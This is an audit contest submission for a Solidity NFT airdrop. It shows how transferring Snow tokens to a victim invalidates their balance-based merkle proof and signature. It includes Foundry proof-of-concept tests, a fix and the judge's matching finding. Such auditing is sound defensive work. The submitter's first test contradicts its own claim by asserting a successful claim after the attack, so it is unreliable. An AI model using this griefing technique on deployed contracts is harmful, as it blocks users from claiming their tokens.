Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: medium
Valid

[M-2] Attacker can prevent users from claiming their Snowman NFT by transferring Snow tokens to change their balance

Balance-dependent merkle proof in claimSnowman enables denial of service via token transfer

Description

The SnowmanAirdrop::claimSnowman function computes the merkle leaf and signature digest using the receiver's live Snow balance via i_snow.balanceOf(receiver). The merkle proof is pre-built against a specific (address, amount) pair.

An attacker can transfer Snow tokens to the victim, changing their balance and causing the merkle leaf to no longer match the pre-computed proof. The signature also becomes invalid since it was signed against the original balance.

// @> amount is read from live balance — can be manipulated by anyone
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}

Risk

Likelihood:

  • Any user holding Snow tokens can transfer them to a victim's address at any time

  • An attacker can front-run a claim transaction by monitoring the mempool

Impact:

  • The victim's claim permanently reverts until they restore their exact expected balance

  • The victim must also re-sign the message digest since it is balance-dependent

Proof of Concept

function testClaimSnowmanDoS() public {
// Alice claim test
assert(nft.balanceOf(alice) == 0);
vm.prank(alice);
snow.approve(address(airdrop), 1);
// Get alice's digest
bytes32 alDigest = airdrop.getMessageHash(alice);
// alice signs a message
(uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest);
vm.prank(bob);
snow.transfer(alice, 1);
vm.prank(alice);
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
assert(nft.balanceOf(alice) == 1);
assert(nft.ownerOf(0) == alice);
}

Recommended Mitigation

- function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
+ function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
- uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
i_snow.safeTransferFrom(receiver, address(this), amount);
// ...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 12 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-01] DoS to a user trying to claim a Snowman

# Root + Impact ## Description * Users will approve a specific amount of Snow to the SnowmanAirdrop and also sign a message with their address and that same amount, in order to be able to claim the NFT * Because the current amount of Snow owned by the user is used in the verification, an attacker could forcefully send Snow to the receiver in a front-running attack, to prevent the receiver from claiming the NFT.  ```Solidity function getMessageHash(address receiver) public view returns (bytes32) { ... // @audit HIGH An attacker could send 1 wei of Snow token to the receiver and invalidate the signature, causing the receiver to never be able to claim their Snowman uint256 amount = i_snow.balanceOf(receiver); return _hashTypedDataV4( keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount}))) ); ``` ## Risk **Likelihood**: * The attacker must purchase Snow and forcefully send it to the receiver in a front-running attack, so the likelihood is Medium **Impact**: * The impact is High as it could lock out the receiver from claiming forever ## Proof of Concept The attack consists on Bob sending an extra Snow token to Alice before Satoshi claims the NFT on behalf of Alice. To showcase the risk, the extra Snow is earned for free by Bob. ```Solidity function testDoSClaimSnowman() public { assert(snow.balanceOf(alice) == 1); // Get alice's digest while the amount is still 1 bytes32 alDigest = airdrop.getMessageHash(alice); // alice signs a message (uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest); vm.startPrank(bob); vm.warp(block.timestamp + 1 weeks); snow.earnSnow(); assert(snow.balanceOf(bob) == 2); snow.transfer(alice, 1); // Alice claim test assert(snow.balanceOf(alice) == 2); vm.startPrank(alice); snow.approve(address(airdrop), 1); // satoshi calls claims on behalf of alice using her signed message vm.startPrank(satoshi); vm.expectRevert(); airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS); } ``` ## Recommended Mitigation Include the amount to be claimed in both `getMessageHash` and `claimSnowman` instead of reading it from the Snow contract. Showing only the new code in the section below ```Python function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { ... bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert SA__InvalidProof(); } // @audit LOW Seems like using the ERC20 permit here would allow for both the delegation of the claim and the transfer of the Snow tokens in one transaction i_snow.safeTransferFrom(receiver, address(this), amount); // send ... } ```

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